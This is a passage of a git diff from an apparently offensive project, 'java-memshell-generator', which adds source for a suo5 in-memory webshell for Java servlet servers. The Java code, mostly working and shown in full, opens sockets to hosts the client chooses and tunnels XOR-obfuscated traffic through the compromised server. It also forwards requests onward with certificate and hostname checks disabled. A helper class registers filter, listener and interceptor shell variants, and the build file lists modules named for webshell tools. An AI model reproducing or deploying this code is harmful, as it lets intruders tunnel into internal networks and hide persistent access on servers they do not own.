byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = data[data.length / 2]; + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = request.getLocalPort(); + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Listener p = new Suo5Listener(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = request.getLocalPort(); + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + conn.setRequestProperty(k, request.getHeader(k)); + } + + OutputStream rout = conn.getOutputStream(); + rout.write(marshal(dataMap)); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { + return null; + } + + + private static synchronized Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while (var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + +} + diff --git a/jmg-suo5/src/main/java/jmg/suo5/util/ShellUtil.java b/jmg-suo5/src/main/java/jmg/suo5/util/ShellUtil.java new file mode 100644 index 0000000..e0c0056 --- /dev/null +++ b/jmg-suo5/src/main/java/jmg/suo5/util/ShellUtil.java @@ -0,0 +1,44 @@ +package jmg.suo5.util; + +import jmg.core.config.Constants; +import jmg.suo5.memshell.Suo5Filter; +import jmg.suo5.memshell.Suo5Interceptor; +import jmg.suo5.memshell.Suo5Listener; + +import java.util.HashMap; +import java.util.Map; + +public class ShellUtil { + + private static final Map SHELL_CLASSNAME_MAP = new HashMap(); + private static final Map> toolMap = new HashMap(); + + public ShellUtil() { + } + + public static String getShellName(String toolType, String shellType) { + Map shellMap = toolMap.get(toolType); + return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); + } + + public static String getShellClassName(String shellName) throws Exception { + if (SHELL_CLASSNAME_MAP.get(shellName) == null) { + throw new Exception("Invalid shell type '" + shellName + "'"); + } else { + return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); + } + } + + static { + SHELL_CLASSNAME_MAP.put(Suo5Listener.class.getSimpleName(), Suo5Listener.class.getName()); + SHELL_CLASSNAME_MAP.put(Suo5Filter.class.getSimpleName(), Suo5Filter.class.getName()); + SHELL_CLASSNAME_MAP.put(Suo5Interceptor.class.getSimpleName(), Suo5Interceptor.class.getName()); + Map suo5Map = new HashMap(); + suo5Map.put(Constants.SHELL_FILTER, Suo5Filter.class.getSimpleName()); + suo5Map.put(Constants.SHELL_LISTENER, Suo5Listener.class.getSimpleName()); + suo5Map.put(Constants.SHELL_INTERCEPTOR, Suo5Interceptor.class.getSimpleName()); + toolMap.put(Constants.TOOL_SUO5, suo5Map); + } + + +} diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..684377d --- /dev/null +++ b/pom.xml @@ -0,0 +1,79 @@ + + 4.0.0 + + jmg + java-memshell-generator + pom + ${revision} + + jmg-antsword + jmg-behinder + jmg-core + jmg-custom + jmg-godzilla + jmg-gui + jmg-neoregeorg + jmg-suo5 + + + + 1.0.8 + UTF-8 + 8 + 8 + + + + + me.gv7.woodpecker + woodpecker-bcel + 0.1.0 + + + me.gv7.woodpecker + woodpecker-tools + 0.1.1 + + + me.gv7.woodpecker + woodpecker-sdk + 0.3.0 + + + javax.servlet + javax.servlet-api + 4.0.1 + + + org.javassist + javassist + 3.20.0-GA + + + + + + + + org.apache.maven.plugins + maven-assembly-plugin + 3.6.0 + + + jar-with-dependencies + + + + + make-assembly + package + + single + + + + + + +